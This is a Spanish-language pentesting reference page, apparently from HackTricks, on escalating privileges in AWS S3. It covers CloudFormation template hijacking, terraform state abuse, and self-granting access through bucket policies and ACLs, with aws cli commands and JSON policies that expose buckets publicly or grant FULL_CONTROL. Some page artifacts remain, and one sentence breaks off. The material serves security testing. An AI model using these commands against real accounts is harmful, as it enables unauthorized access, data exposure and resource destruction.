7.0 KiB
AWS - S3 Privesc
{{#include ../../../banners/hacktricks-training.md}}
S3
s3:PutBucketNotification, s3:PutObject, s3:GetObject
Un atacante con esos permisos sobre buckets interesantes podría ser capaz de secuestrar recursos y escalar privilegios.
Por ejemplo, un atacante con esos permisos sobre un bucket de cloudformation llamado "cf-templates-nohnwfax6a6i-us-east-1" podrá secuestrar la implementación. El acceso puede ser otorgado con la siguiente política:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::cf-templates-*/*",
"arn:aws:s3:::cf-templates-*"
]
},
{
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}
Y el secuestro es posible porque hay una pequeña ventana de tiempo desde el momento en que se sube la plantilla al bucket hasta el momento en que la plantilla se despliega. Un atacante podría simplemente crear una lambda function en su cuenta que se active cuando se envíe una notificación del bucket, y secuestra el contenido de ese bucket.
El módulo de Pacu cfn__resouce_injection se puede utilizar para automatizar este ataque.
Para más información, consulta la investigación original: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/
s3:PutObject, s3:GetObject
Estos son los permisos para obtener y subir objetos a S3. Varios servicios dentro de AWS (y fuera de él) utilizan almacenamiento S3 para guardar archivos de configuración.
Un atacante con acceso de lectura a ellos podría encontrar información sensible en ellos.
Un atacante con acceso de escritura a ellos podría modificar los datos para abusar de algún servicio e intentar escalar privilegios.
Estos son algunos ejemplos:
- Si una instancia de EC2 está almacenando los datos del usuario en un bucket S3, un atacante podría modificarlo para ejecutar código arbitrario dentro de la instancia EC2.
s3:PutObject, s3:GetObject (opcional) sobre el archivo de estado de terraform
Es muy común que los archivos de estado de terraform se guarden en el almacenamiento de blobs de los proveedores de la nube, por ejemplo, AWS S3. El sufijo del archivo para un archivo de estado es .tfstate, y los nombres de los buckets a menudo también indican que contienen archivos de estado de terraform. Por lo general, cada cuenta de AWS tiene un bucket de este tipo para almacenar los archivos de estado que muestran el estado de la cuenta.
Además, en cuentas del mundo real, casi siempre todos los desarrolladores tienen s3:* y a veces incluso los usuarios de negocios tienen s3:Put*.
Entonces, si tienes los permisos listados sobre estos archivos, hay un vector de ataque que te permite obtener RCE en la canalización con los privilegios de terraform - la mayoría de las veces AdministratorAccess, convirtiéndote en el administrador de la cuenta de la nube. Además, puedes usar ese vector para realizar un ataque de denegación de servicio haciendo que terraform elimine recursos legítimos.
Sigue la descripción en la sección Abusing Terraform State Files de la página Terraform Security para obtener código de explotación directamente utilizable:
{{#ref}} pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files {{#endref}}
s3:PutBucketPolicy
Un atacante, que necesita ser de la misma cuenta, si no, se activará el error The specified method is not allowed, con este permiso podrá otorgarse más permisos sobre el/los bucket(s) permitiéndole leer, escribir, modificar, eliminar y exponer buckets.
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}
## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}
s3:GetBucketAcl, s3:PutBucketAcl
Un atacante podría abusar de estos permisos para otorgarse más acceso sobre buckets específicos.
Tenga en cuenta que el atacante no necesita ser de la misma cuenta. Además, el acceso de escritura
# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json
##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl, s3:PutObjectAcl
Un atacante podría abusar de estos permisos para otorgarse más acceso sobre objetos específicos dentro de los buckets.
# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json
##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl, s3:PutObjectVersionAcl
Se espera que un atacante con estos privilegios pueda poner un Acl a una versión de objeto específica.
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
{{#include ../../../banners/hacktricks-training.md}}
.png)